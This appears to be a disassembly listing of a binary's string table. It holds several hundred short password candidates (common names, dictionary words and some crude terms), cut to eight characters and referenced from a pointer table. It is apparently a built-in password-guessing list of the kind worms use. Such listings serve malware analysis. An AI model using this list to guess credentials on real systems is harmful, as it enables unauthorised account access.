aRemote db 'remote',0 ; DATA XREF: ___:00430B38o
align 10h
aRelease db 'release',0 ; DATA XREF: ___:00430B34o
aRegional db 'regional',0 ; DATA XREF: ___:00430B30o
align 4
aReferenc db 'referenc',0 ; DATA XREF: ___:00430B2Co
align 10h
aRedhead db 'redhead',0 ; DATA XREF: ___:00430B28o
aReddawn db 'reddawn',0 ; DATA XREF: ___:00430B24o
aRecord db 'record',0 ; DATA XREF: ___:00430B20o
align 4
aRebel db 'rebel',0 ; DATA XREF: ___:00430B1Co
align 10h
aRebecca db 'rebecca',0 ; DATA XREF: ___:00430B18o
aRebal db 'rebal',0 ; DATA XREF: ___:00430B14o
align 10h
aReaper db 'reaper',0 ; DATA XREF: ___:00430B10o
align 4
aReam db 'ream',0 ; DATA XREF: ___:00430B0Co
align 10h
aReally db 'really',0 ; DATA XREF: ___:00430B08o
align 4
aReality db 'reality',0 ; DATA XREF: ___:00430B04o
aReagan db 'reagan',0 ; DATA XREF: ___:00430B00o
align 4
aRazor db 'razor',0 ; DATA XREF: ___:00430AFCo
align 10h
aRascal db 'rascal',0 ; DATA XREF: ___:00430AF8o
align 4
aRape db 'rape',0 ; DATA XREF: ___:00430AF4o
align 10h
aRaleigh db 'raleigh',0 ; DATA XREF: ___:00430AECo
aRaindrop db 'raindrop',0 ; DATA XREF: ___:00430AE8o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: ___:00430AE4o
aRain db 'rain',0 ; DATA XREF: ___:00430AE0o
align 4
aRaid db 'raid',0 ; DATA XREF: ___:00430ADCo
align 4
aRachmani db 'rachmani',0 ; DATA XREF: ___:00430AD8o
align 4
aRachelle db 'rachelle',0 ; DATA XREF: ___:00430AD4o
align 4
aRachel db 'rachel',0 ; DATA XREF: ___:00430AD0o
align 4
aRabbit db 'rabbit',0 ; DATA XREF: ___:00430ACCo
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00430AC8o
align 4
aQwert db 'qwert',0 ; DATA XREF: ___:00430AC4o
align 4
aQuebec db 'quebec',0 ; DATA XREF: ___:00430AC0o
align 4
aPussy db 'pussy',0 ; DATA XREF: ___:00430ABCo
align 4
aPuppet db 'puppet',0 ; DATA XREF: ___:00430AB8o
align 4
aPunk db 'punk',0 ; DATA XREF: ___:00430AB4o
align 4
aPunisher db 'punisher',0 ; DATA XREF: ___:00430AB0o
align 10h
aPuneet db 'puneet',0 ; DATA XREF: ___:00430AACo
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: ___:00430AA8o
aPuke db 'puke',0 ; DATA XREF: ___:00430AA4o
align 4
aPuck db 'puck',0 ; DATA XREF: ___:00430AA0o
align 10h
aPublic db 'public',0 ; DATA XREF: ___:00430A9Co
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: ___:00430A98o
align 4
aPsycho db 'psycho',0 ; DATA XREF: ___:00430A94o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: ___:00430A90o
align 4
aProtect db 'protect',0 ; DATA XREF: ___:00430A8Co
aPrompt db 'prompt',0 ; DATA XREF: ___:00430A88o
align 4
aProgram db 'program',0 ; DATA XREF: ___:00430A84o
aProfile db 'profile',0 ; DATA XREF: ___:00430A80o
aProfesso db 'professo',0 ; DATA XREF: ___:00430A7Co
align 4
aProcesso db 'processo',0 ; DATA XREF: ___:00430A78o
align 10h
aProceed db 'proceed',0 ; DATA XREF: ___:00430A74o
aPrivs db 'privs',0 ; DATA XREF: ___:00430A70o
align 10h
aPrivate db 'private',0 ; DATA XREF: ___:00430A6Co
aPriv db 'priv',0 ; DATA XREF: ___:00430A68o
align 10h
aPrinter db 'printer',0 ; DATA XREF: ___:00430A64o
aPrinceto db 'princeto',0 ; DATA XREF: ___:00430A60o
align 4
aPrince db 'prince',0 ; DATA XREF: ___:00430A5Co
align 4
aPresto db 'presto',0 ; DATA XREF: ___:00430A58o
align 4
aPrelude db 'prelude',0 ; DATA XREF: ___:00430A54o
aPrecious db 'precious',0 ; DATA XREF: ___:00430A50o
align 4
aPraise db 'praise',0 ; DATA XREF: ___:00430A4Co
align 10h
aPower db 'power',0 ; DATA XREF: ___:00430A48o
align 4
aPoster db 'poster',0 ; DATA XREF: ___:00430A44o
align 10h
aPost db 'post',0 ; DATA XREF: ___:00430A40o
align 4
aPorsche db 'porsche',0 ; DATA XREF: ___:00430A3Co
aPorno db 'porno',0 ; DATA XREF: ___:00430A38o
align 4
aPorn db 'porn',0 ; DATA XREF: ___:00430A34o
align 10h
aPork db 'pork',0 ; DATA XREF: ___:00430A30o
align 4
aPoor db 'poor',0 ; DATA XREF: ___:00430A2Co
align 10h
aPoop db 'poop',0 ; DATA XREF: ___:00430A28o
align 4
aPonderin db 'ponderin',0 ; DATA XREF: ___:00430A24o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: ___:00430A20o
align 10h
aPolly db 'polly',0 ; DATA XREF: ___:00430A1Co
align 4
aPolice db 'police',0 ; DATA XREF: ___:00430A18o
align 10h
aPoetry db 'poetry',0 ; DATA XREF: ___:00430A14o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: ___:00430A10o
align 4
aPluto db 'pluto',0 ; DATA XREF: ___:00430A0Co
align 4
aPlover db 'plover',0 ; DATA XREF: ___:00430A08o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: ___:00430A04o
aPlane db 'plane',0 ; DATA XREF: ___:00430A00o
align 4
aPizza db 'pizza',0 ; DATA XREF: ___:004309FCo
align 4
aPiss db 'piss',0 ; DATA XREF: ___:004309F8o
align 4
aPinname db 'pinname',0 ; DATA XREF: ___:004309F4o
aPimp db 'pimp',0 ; DATA XREF: ___:004309F0o
align 4
aPierre db 'pierre',0 ; DATA XREF: ___:004309ECo
align 4
aPick db 'pick',0 ; DATA XREF: ___:004309E8o
align 4
aPhuck db 'phuck',0 ; DATA XREF: ___:004309E4o
align 4
aPhreak db 'phreak',0 ; DATA XREF: ___:004309E0o
align 4
aPhrase db 'phrase',0 ; DATA XREF: ___:004309DCo
align 4
aPhrack db 'phrack',0 ; DATA XREF: ___:004309D8o
align 4
aPhoton db 'photon',0 ; DATA XREF: ___:004309D4o
align 4
aPhone db 'phone',0 ; DATA XREF: ___:004309D0o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: ___:004309CCo
aPhilip db 'philip',0 ; DATA XREF: ___:004309C8o
align 4
aPhil db 'phil',0 ; DATA XREF: ___:004309C4o
align 4
aPeter db 'peter',0 ; DATA XREF: ___:004309C0o
align 4
aPete db 'pete',0 ; DATA XREF: ___:004309BCo
align 4
aPervert db 'pervert',0 ; DATA XREF: ___:004309B8o
aPersona db 'persona',0 ; DATA XREF: ___:004309B4o
aPersimmo db 'persimmo',0 ; DATA XREF: ___:004309B0o
align 4
aPermit db 'permit',0 ; DATA XREF: ___:004309ACo
align 10h
aPerfect db 'perfect',0 ; DATA XREF: ___:004309A8o
aPercolat db 'percolat',0 ; DATA XREF: ___:004309A4o
align 4
aPepper db 'pepper',0 ; DATA XREF: ___:004309A0o
align 4
aPeoria db 'peoria',0 ; DATA XREF: ___:0043099Co
align 4
aPentium db 'pentium',0 ; DATA XREF: ___:00430998o
aPenthous db 'penthous',0 ; DATA XREF: ___:00430994o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: ___:00430990o
align 4
aPentagon db 'pentagon',0 ; DATA XREF: ___:0043098Co
align 10h
aPenname db 'penname',0 ; DATA XREF: ___:00430988o
aPenis db 'penis',0 ; DATA XREF: ___:00430984o
align 10h
aPenguin db 'penguin',0 ; DATA XREF: ___:00430980o
aPenelope db 'penelope',0 ; DATA XREF: ___:0043097Co
align 4
aPencil db 'pencil',0 ; DATA XREF: ___:00430978o
align 4
aPecker db 'pecker',0 ; DATA XREF: ___:00430974o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: ___:00430970o
aPaula db 'paula',0 ; DATA XREF: ___:0043096Co
align 4
aPatty db 'patty',0 ; DATA XREF: ___:00430968o
align 4
aPatriot db 'patriot',0 ; DATA XREF: ___:00430964o
aPatricia db 'patricia',0 ; DATA XREF: ___:00430960o
align 10h
aPaste db 'paste',0 ; DATA XREF: ___:0043095Co
align 4
aPassphra db 'passphra',0 ; DATA XREF: ___:00430958o
align 4
aPascal db 'pascal',0 ; DATA XREF: ___:00430954o
align 4
aPapers db 'papers',0 ; DATA XREF: ___:00430950o
align 4
aPaper db 'paper',0 ; DATA XREF: ___:0043094Co
align 4
aPapa db 'papa',0 ; DATA XREF: ___:00430948o
align 4
aPamela db 'pamela',0 ; DATA XREF: ___:00430944o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: ___:00430940o
align 4
aPaint db 'paint',0 ; DATA XREF: ___:0043093Co
align 10h
aPainless db 'painless',0 ; DATA XREF: ___:00430938o
align 4
aPacker db 'packer',0 ; DATA XREF: ___:00430934o
align 4
aPackard db 'packard',0 ; DATA XREF: ___:00430930o
aPacific db 'pacific',0 ; DATA XREF: ___:0043092Co
aOxford db 'oxford',0 ; DATA XREF: ___:00430928o
align 4
aOutside db 'outside',0 ; DATA XREF: ___:00430924o
aOutput db 'output',0 ; DATA XREF: ___:00430920o
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: ___:0043091Co
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: ___:00430918o
align 10h
aOsiris db 'osiris',0 ; DATA XREF: ___:00430914o
align 4
aOscar db 'oscar',0 ; DATA XREF: ___:00430910o
align 10h
aOrwell db 'orwell',0 ; DATA XREF: ___:0043090Co
align 4
aOrient db 'orient',0 ; DATA XREF: ___:00430908o
align 10h
aOrca db 'orca',0 ; DATA XREF: ___:00430904o
align 4
aOperator db 'operator',0 ; DATA XREF: ___:00430900o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: ___:004308FCo
align 10h
aOpenlock db 'openlock',0 ; DATA XREF: ___:004308F8o
align 4
aOpening db 'opening',0 ; DATA XREF: ___:004308F4o
aOmega db 'omega',0 ; DATA XREF: ___:004308ECo
align 4
aOlivia db 'olivia',0 ; DATA XREF: ___:004308E8o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: ___:004308E4o
align 10h
aOldage db 'oldage',0 ; DATA XREF: ___:004308E0o
align 4
aOkay db 'okay',0 ; DATA XREF: ___:004308DCo
align 10h
aOffice db 'office',0 ; DATA XREF: ___:004308D8o
align 4
aOcelot db 'ocelot',0 ; DATA XREF: ___:004308D4o
align 10h
aOceanogr db 'oceanogr',0 ; DATA XREF: ___:004308D0o
align 4
aObscurit db 'obscurit',0 ; DATA XREF: ___:004308CCo
align 4
aNyquist db 'nyquist',0 ; DATA XREF: ___:004308C8o
aNuts db 'nuts',0 ; DATA XREF: ___:004308C4o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: ___:004308C0o
align 4
aNumber db 'number',0 ; DATA XREF: ___:004308BCo
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:004308B8o
align 4
aNukem db 'nukem',0 ; DATA XREF: ___:004308B4o
align 4
aNuke db 'nuke',0 ; DATA XREF: ___:004308B0o
align 4
aNude db 'nude',0 ; DATA XREF: ___:004308ACo
align 4
aNuclear db 'nuclear',0 ; DATA XREF: ___:004308A8o
aNoxious db 'noxious',0 ; DATA XREF: ___:004308A4o
aNovember db 'november',0 ; DATA XREF: ___:004308A0o
align 4
aNovel db 'novel',0 ; DATA XREF: ___:0043089Co
align 10h
aNova db 'nova',0 ; DATA XREF: ___:00430898o
align 4
aNoth db 'noth',0 ; DATA XREF: ___:00430894o
align 10h
aNotes db 'notes',0 ; DATA XREF: ___:00430890o
align 4
aNoreen db 'noreen',0 ; DATA XREF: ___:0043088Co
align 10h
aNode db 'node',0 ; DATA XREF: ___:00430888o
align 4
aNobody db 'nobody',0 ; DATA XREF: ___:00430884o
align 10h
aNoble db 'noble',0 ; DATA XREF: ___:00430880o
align 4
aNnaacp db 'nnaacp',0 ; DATA XREF: ___:0043087Co
align 10h
aNita db 'nita',0 ; DATA XREF: ___:00430878o
align 4
aNintendo db 'nintendo',0 ; DATA XREF: ___:00430874o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: ___:00430870o
align 10h
aNight db 'night',0 ; DATA XREF: ___:0043086Co
align 4
aNicotine db 'nicotine',0 ; DATA XREF: ___:00430868o
align 4
aNicole db 'nicole',0 ; DATA XREF: ___:00430864o
align 4
aNice db 'nice',0 ; DATA XREF: ___:00430860o
align 4
aNext db 'next',0 ; DATA XREF: ___:0043085Co
align 4
aNewyork db 'newyork',0 ; DATA XREF: ___:00430858o
aNewton db 'newton',0 ; DATA XREF: ___:00430854o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: ___:00430850o
align 4
aNews db 'news',0 ; DATA XREF: ___:0043084Co
align 10h
aNewborn db 'newborn',0 ; DATA XREF: ___:00430848o
aNetwork_0 db 'network',0 ; DATA XREF: ___:00430844o
aNetscape db 'netscape',0 ; DATA XREF: ___:00430840o
align 4
aNess db 'ness',0 ; DATA XREF: ___:0043083Co
align 4
aNeptune db 'neptune',0 ; DATA XREF: ___:00430838o
aNepenthe db 'nepenthe',0 ; DATA XREF: ___:00430834o
align 4
aNavy db 'navy',0 ; DATA XREF: ___:00430830o
align 10h
aNasa db 'nasa',0 ; DATA XREF: ___:0043082Co
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: ___:00430828o
align 4
aNancy db 'nancy',0 ; DATA XREF: ___:00430824o
align 4
aName db 'name',0 ; DATA XREF: ___:00430820o
align 4
aNagel db 'nagel',0 ; DATA XREF: ___:0043081Co
align 4
aMutant db 'mutant',0 ; DATA XREF: ___:00430818o
align 4
aMuppets db 'muppets',0 ; DATA XREF: ___:00430814o
aMsdos db 'msdos',0 ; DATA XREF: ___:00430810o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: ___:0043080Co
align 4
aMozart db 'mozart',0 ; DATA XREF: ___:00430808o
align 4
aMovies db 'movies',0 ; DATA XREF: ___:00430804o
align 4
aMovie db 'movie',0 ; DATA XREF: ___:00430800o
align 4
aMove db 'move',0 ; DATA XREF: ___:004307FCo
align 4
aMouse db 'mouse',0 ; DATA XREF: ___:004307F8o
align 4
aMountain db 'mountain',0 ; DATA XREF: ___:004307F4o
align 10h
aMosaic db 'mosaic',0 ; DATA XREF: ___:004307F0o
align 4
aMortgage db 'mortgage',0 ; DATA XREF: ___:004307ECo
align 4
aMortalco db 'mortalco',0 ; DATA XREF: ___:004307E8o
align 10h
aMortal db 'mortal',0 ; DATA XREF: ___:004307E4o
align 4
aMorris db 'morris',0 ; DATA XREF: ___:004307E0o
align 10h
aMorley db 'morley',0 ; DATA XREF: ___:004307DCo
align 4
aMore db 'more',0 ; DATA XREF: ___:004307D8o
align 10h
aMoose db 'moose',0 ; DATA XREF: ___:004307D4o
align 4
aMoor db 'moor',0 ; DATA XREF: ___:004307D0o
align 10h
aMoom db 'moom',0 ; DATA XREF: ___:004307CCo
align 4
aMonica db 'monica',0 ; DATA XREF: ___:004307C8o
align 10h
aMonday db 'monday',0 ; DATA XREF: ___:004307C4o
align 4
aMoguls db 'moguls',0 ; DATA XREF: ___:004307C0o
align 10h
aMogul db 'mogul',0 ; DATA XREF: ___:004307BCo
align 4
aModem db 'modem',0 ; DATA XREF: ___:004307B8o
align 10h
aMode db 'mode',0 ; DATA XREF: ___:004307B4o
align 4
aMkii db 'mkii',0 ; DATA XREF: ___:004307B0o
align 10h
aMission db 'mission',0 ; DATA XREF: ___:004307ACo
aMisfit db 'misfit',0 ; DATA XREF: ___:004307A8o
align 10h
aMinsky db 'minsky',0 ; DATA XREF: ___:004307A4o
align 4
aMinimum db 'minimum',0 ; DATA XREF: ___:004307A0o
aMine db 'mine',0 ; DATA XREF: ___:0043079Co
align 4
aMike db 'mike',0 ; DATA XREF: ___:00430798o
align 10h
aMidieval db 'midieval',0 ; DATA XREF: ___:00430794o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: ___:00430790o
align 4
aMicropro db 'micropro',0 ; DATA XREF: ___:0043078Co
align 4
aMicrochi db 'microchi',0 ; DATA XREF: ___:00430788o
align 10h
aMicro db 'micro',0 ; DATA XREF: ___:00430784o
align 4
aMickey db 'mickey',0 ; DATA XREF: ___:00430780o
align 10h
aMichelle db 'michelle',0 ; DATA XREF: ___:0043077Co
align 4
aMichele db 'michele',0 ; DATA XREF: ___:00430778o
aMichelan db 'michelan',0 ; DATA XREF: ___:00430774o
align 10h
aMichel db 'michel',0 ; DATA XREF: ___:00430770o
align 4
aMichael db 'michael',0 ; DATA XREF: ___:0043076Co
aMice db 'mice',0 ; DATA XREF: ___:00430768o
align 4
aMets db 'mets',0 ; DATA XREF: ___:00430764o
align 10h
aMetalica db 'metalica',0 ; DATA XREF: ___:00430760o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: ___:0043075Co
align 4
aMetal db 'metal',0 ; DATA XREF: ___:00430758o
align 10h
aMerlin db 'merlin',0 ; DATA XREF: ___:00430754o
align 4
aMercury db 'mercury',0 ; DATA XREF: ___:00430750o
aMenu db 'menu',0 ; DATA XREF: ___:0043074Co
align 4
aMenace db 'menace',0 ; DATA XREF: ___:00430748o
align 10h
aMemory db 'memory',0 ; DATA XREF: ___:00430744o
align 4
aMember db 'member',0 ; DATA XREF: ___:00430740o
align 10h
aMelrose db 'melrose',0 ; DATA XREF: ___:0043073Co
aMellon db 'mellon',0 ; DATA XREF: ___:00430738o
align 10h
aMelissa db 'melissa',0 ; DATA XREF: ___:00430734o
aMegan db 'megan',0 ; DATA XREF: ___:00430730o
align 10h
aMegadeth db 'megadeth',0 ; DATA XREF: ___:0043072Co
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: ___:00430728o
align 4
aMeagan db 'meagan',0 ; DATA XREF: ___:00430724o
align 10h
aMaurice db 'maurice',0 ; DATA XREF: ___:00430720o
aMath db 'math',0 ; DATA XREF: ___:0043071Co
align 10h
aMaster db 'master',0 ; DATA XREF: ___:00430718o
align 4
aMason db 'mason',0 ; DATA XREF: ___:00430714o
align 10h
aMary db 'mary',0 ; DATA XREF: ___:00430710o
align 4
aMarvin db 'marvin',0 ; DATA XREF: ___:0043070Co
align 10h
aMarty db 'marty',0 ; DATA XREF: ___:00430708o
align 4
aMars db 'mars',0 ; DATA XREF: ___:00430704o
align 10h
aMarriage db 'marriage',0 ; DATA XREF: ___:00430700o
align 4
aMarni db 'marni',0 ; DATA XREF: ___:004306FCo
align 4
aMarkus db 'markus',0 ; DATA XREF: ___:004306F8o
align 4
aMark db 'mark',0 ; DATA XREF: ___:004306F4o
align 4
aMarines db 'marines',0 ; DATA XREF: ___:004306F0o
aMarijuan db 'marijuan',0 ; DATA XREF: ___:004306ECo
align 4
aMarietta db 'marietta',0 ; DATA XREF: ___:004306E8o
align 4
aMariens db 'mariens',0 ; DATA XREF: ___:004306E4o
aMaria db 'maria',0 ; DATA XREF: ___:004306E0o
align 4
aMarcy db 'marcy',0 ; DATA XREF: ___:004306DCo
align 4
aMarci db 'marci',0 ; DATA XREF: ___:004306D8o
align 4
aMara db 'mara',0 ; DATA XREF: ___:004306D4o
align 4
aManager db 'manager',0 ; DATA XREF: ___:004306D0o
aMana db 'mana',0 ; DATA XREF: ___:004306CCo
align 4
aMalcom db 'malcom',0 ; DATA XREF: ___:004306C8o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: ___:004306C4o
aMaint db 'maint',0 ; DATA XREF: ___:004306C0o
align 4
aMail db 'mail',0 ; DATA XREF: ___:004306BCo
align 4
aMagnet db 'magnet',0 ; DATA XREF: ___:004306B8o
align 4
aMagic db 'magic',0 ; DATA XREF: ___:004306B4o
align 4
aMaggot db 'maggot',0 ; DATA XREF: ___:004306B0o
align 4
aMacro db 'macro',0 ; DATA XREF: ___:004306ACo
align 4
aMack db 'mack',0 ; DATA XREF: ___:004306A8o
align 4
aMacintos db 'macintos',0 ; DATA XREF: ___:004306A4o
align 10h
aMachine db 'machine',0 ; DATA XREF: ___:004306A0o
aLynne db 'lynne',0 ; DATA XREF: ___:0043069Co
align 10h
aLynn db 'lynn',0 ; DATA XREF: ___:00430698o
align 4
aLust db 'lust',0 ; DATA XREF: ___:00430694o
align 10h
aLuke db 'luke',0 ; DATA XREF: ___:00430690o
align 4
aLude db 'lude',0 ; DATA XREF: ___:0043068Co
align 10h
aLucy db 'lucy',0 ; DATA XREF: ___:00430688o
align 4
aLucus db 'lucus',0 ; DATA XREF: ___:00430684o
align 10h
aLuck db 'luck',0 ; DATA XREF: ___:00430680o
align 4
aLover db 'lover',0 ; DATA XREF: ___:0043067Co
align 10h
aLovebug db 'lovebug',0 ; DATA XREF: ___:00430678o
aLouis db 'louis',0 ; DATA XREF: ___:00430674o
align 10h
aLoser db 'loser',0 ; DATA XREF: ___:00430670o
align 4
aLorraine db 'lorraine',0 ; DATA XREF: ___:0043066Co
align 4
aLorin db 'lorin',0 ; DATA XREF: ___:00430668o
align 4
aLori db 'lori',0 ; DATA XREF: ___:00430664o
align 4
aLore db 'lore',0 ; DATA XREF: ___:00430660o
align 4
aLoose db 'loose',0 ; DATA XREF: ___:0043065Co
align 4
aLolopc db 'lolopc',0 ; DATA XREF: ___:00430658o
align 4
aLois db 'lois',0 ; DATA XREF: ___:00430654o
align 4
aLogout db 'logout',0 ; DATA XREF: ___:00430650o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: ___:0043064Co
align 4
aLogic db 'logic',0 ; DATA XREF: ___:00430648o
align 10h
aLockword db 'lockword',0 ; DATA XREF: ___:00430644o
align 4
aLockout db 'lockout',0 ; DATA XREF: ___:00430640o
aLock db 'lock',0 ; DATA XREF: ___:0043063Co
align 4
aLoad db 'load',0 ; DATA XREF: ___:00430638o
align 4
aLive db 'live',0 ; DATA XREF: ___:00430634o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: ___:00430630o
align 4
aLisp db 'lisp',0 ; DATA XREF: ___:0043062Co
align 10h
aLisa db 'lisa',0 ; DATA XREF: ___:00430628o
align 4
aLips db 'lips',0 ; DATA XREF: ___:00430624o
align 10h
aLion db 'lion',0 ; DATA XREF: ___:00430620o
align 4
aLink db 'link',0 ; DATA XREF: ___:0043061Co
align 10h
aLinda db 'linda',0 ; DATA XREF: ___:00430618o
align 4
aLimited db 'limited',0 ; DATA XREF: ___:00430614o
aLimbaugh db 'limbaugh',0 ; DATA XREF: ___:00430610o
align 4
aLima db 'lima',0 ; DATA XREF: ___:0043060Co
align 4
aLightsab db 'lightsab',0 ; DATA XREF: ___:00430608o
align 10h
aLight db 'light',0 ; DATA XREF: ___:00430604o
align 4
aLife db 'life',0 ; DATA XREF: ___:00430600o
align 10h
aLicker db 'licker',0 ; DATA XREF: ___:004305FCo
align 4
aLick db 'lick',0 ; DATA XREF: ___:004305F8o
align 10h
aLibrary db 'library',0 ; DATA XREF: ___:004305F4o
aLiberal db 'liberal',0 ; DATA XREF: ___:004305F0o
aLexluthe db 'lexluthe',0 ; DATA XREF: ___:004305ECo
align 4
aLewis db 'lewis',0 ; DATA XREF: ___:004305E8o
align 4
aLetmein db 'letmein',0 ; DATA XREF: ___:004305E4o
aLeslie db 'leslie',0 ; DATA XREF: ___:004305E0o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: ___:004305DCo
aLeroy db 'leroy',0 ; DATA XREF: ___:004305D8o
align 4
aLeland db 'leland',0 ; DATA XREF: ___:004305D4o
align 4
aLegal db 'legal',0 ; DATA XREF: ___:004305D0o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: ___:004305CCo
align 10h
aLeft db 'left',0 ; DATA XREF: ___:004305C8o
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: ___:004305C4o
align 4
aLeah db 'leah',0 ; DATA XREF: ___:004305C0o
align 4
aLazer db 'lazer',0 ; DATA XREF: ___:004305BCo
align 4
aLazarus db 'lazarus',0 ; DATA XREF: ___:004305B8o
aLava db 'lava',0 ; DATA XREF: ___:004305B4o
align 4
aLaura db 'laura',0 ; DATA XREF: ___:004305B0o
align 4
aLaser db 'laser',0 ; DATA XREF: ___:004305ACo
align 4
aLarry db 'larry',0 ; DATA XREF: ___:004305A8o
align 4
aLarkin db 'larkin',0 ; DATA XREF: ___:004305A4o
align 4
aLara db 'lara',0 ; DATA XREF: ___:004305A0o
align 4
aLaptop db 'laptop',0 ; DATA XREF: ___:0043059Co
align 4
aLana db 'lana',0 ; DATA XREF: ___:00430598o
align 4
aLaminati db 'laminati',0 ; DATA XREF: ___:00430594o
align 4
aLambda db 'lambda',0 ; DATA XREF: ___:00430590o
align 10h
aLakers db 'lakers',0 ; DATA XREF: ___:0043058Co
align 4
aLadle db 'ladle',0 ; DATA XREF: ___:00430588o
align 10h
aLadies db 'ladies',0 ; DATA XREF: ___:00430584o
align 4
aKristy db 'kristy',0 ; DATA XREF: ___:00430580o
align 10h
aKristine db 'kristine',0 ; DATA XREF: ___:0043057Co
align 4
aKristin db 'kristin',0 ; DATA XREF: ___:00430578o
aKristie db 'kristie',0 ; DATA XREF: ___:00430574o
aKristi db 'kristi',0 ; DATA XREF: ___:00430570o
align 4
aKristen db 'kristen',0 ; DATA XREF: ___:0043056Co
aKrista db 'krista',0 ; DATA XREF: ___:00430568o
align 4
aKnown db 'known',0 ; DATA XREF: ___:00430564o
align 4
aKnightma db 'knightma',0 ; DATA XREF: ___:00430560o
align 4
aKnight db 'knight',0 ; DATA XREF: ___:0043055Co
align 10h
aKnife db 'knife',0 ; DATA XREF: ___:00430558o
align 4
aKlingon db 'klingon',0 ; DATA XREF: ___:00430554o
aKitten db 'kitten',0 ; DATA XREF: ___:00430550o
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: ___:0043054Co
align 4
aKiss db 'kiss',0 ; DATA XREF: ___:00430548o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: ___:00430544o
align 4
aKirk db 'kirk',0 ; DATA XREF: ___:00430540o
align 10h
aKing db 'king',0 ; DATA XREF: ___:0043053Co
align 4
aKimberly db 'kimberly',0 ; DATA XREF: ___:00430538o
align 4
aKilo db 'kilo',0 ; DATA XREF: ___:00430534o
align 4
aKillthem db 'killthem',0 ; DATA XREF: ___:00430530o
align 4
aKill db 'kill',0 ; DATA XREF: ___:0043052Co
align 10h
aKids db 'kids',0 ; DATA XREF: ___:00430528o
align 4
aKeyword db 'keyword',0 ; DATA XREF: ___:00430524o
aKeyin db 'keyin',0 ; DATA XREF: ___:00430520o
align 4
aKeybord db 'keybord',0 ; DATA XREF: ___:0043051Co
aKewl db 'kewl',0 ; DATA XREF: ___:00430518o
align 4
aKevin db 'kevin',0 ; DATA XREF: ___:00430514o
align 10h
aKerry db 'kerry',0 ; DATA XREF: ___:00430510o
align 4
aKerrie db 'kerrie',0 ; DATA XREF: ___:0043050Co
align 10h
aKerri db 'kerri',0 ; DATA XREF: ___:00430508o
align 4
aKernel db 'kernel',0 ; DATA XREF: ___:00430504o
align 10h
aKermit db 'kermit',0 ; DATA XREF: ___:00430500o
align 4
aKeri db 'keri',0 ; DATA XREF: ___:004304FCo
align 10h
aKelly db 'kelly',0 ; DATA XREF: ___:004304F8o
align 4
aKatrina db 'katrina',0 ; DATA XREF: ___:004304F4o
aKatina db 'katina',0 ; DATA XREF: ___:004304F0o
align 4
aKathy db 'kathy',0 ; DATA XREF: ___:004304ECo
align 10h
aKathrine db 'kathrine',0 ; DATA XREF: ___:004304E8o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: ___:004304E4o
align 4
aKate db 'kate',0 ; DATA XREF: ___:004304E0o
align 10h
aKatana db 'katana',0 ; DATA XREF: ___:004304DCo
align 4
aKarina db 'karina',0 ; DATA XREF: ___:004304D8o
align 10h
aKarie db 'karie',0 ; DATA XREF: ___:004304D4o
align 4
aKaren db 'karen',0 ; DATA XREF: ___:004304D0o
align 10h
aKaka db 'kaka',0 ; DATA XREF: ___:004304CCo
align 4
aJupiter db 'jupiter',0 ; DATA XREF: ___:004304C8o
aJune db 'june',0 ; DATA XREF: ___:004304C4o
align 4
aJuliet db 'juliet',0 ; DATA XREF: ___:004304C0o
align 10h
aJulie db 'julie',0 ; DATA XREF: ___:004304BCo
align 4
aJulia db 'julia',0 ; DATA XREF: ___:004304B8o
align 10h
aJuicy db 'juicy',0 ; DATA XREF: ___:004304B4o
align 4
aJuggle db 'juggle',0 ; DATA XREF: ___:004304B0o
align 10h
aJudy db 'judy',0 ; DATA XREF: ___:004304ACo
align 4
aJudith db 'judith',0 ; DATA XREF: ___:004304A8o
align 10h
aJoyce db 'joyce',0 ; DATA XREF: ___:004304A4o
align 4
aJournal db 'journal',0 ; DATA XREF: ___:004304A0o
aJoshua db 'joshua',0 ; DATA XREF: ___:0043049Co
align 4
aJoseph db 'joseph',0 ; DATA XREF: ___:00430498o
align 10h
aJohnny db 'johnny',0 ; DATA XREF: ___:00430494o
align 4
aJohndoe db 'johndoe',0 ; DATA XREF: ___:00430490o
aJohn db 'john',0 ; DATA XREF: ___:0043048Co
align 4
aJody db 'jody',0 ; DATA XREF: ___:00430488o
align 10h
aJoanne db 'joanne',0 ; DATA XREF: ___:00430484o
align 4
aJixian db 'jixian',0 ; DATA XREF: ___:00430480o
align 10h
aJill db 'jill',0 ; DATA XREF: ___:0043047Co
align 4
aJewelry db 'jewelry',0 ; DATA XREF: ___:00430478o
aJester db 'jester',0 ; DATA XREF: ___:00430474o
align 4
aJessica db 'jessica',0 ; DATA XREF: ___:00430470o
aJerusale db 'jerusale',0 ; DATA XREF: ___:0043046Co
align 4
aJerry db 'jerry',0 ; DATA XREF: ___:00430468o
align 4
aJenny db 'jenny',0 ; DATA XREF: ___:00430464o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: ___:00430460o
align 4
aJenni db 'jenni',0 ; DATA XREF: ___:0043045Co
align 10h
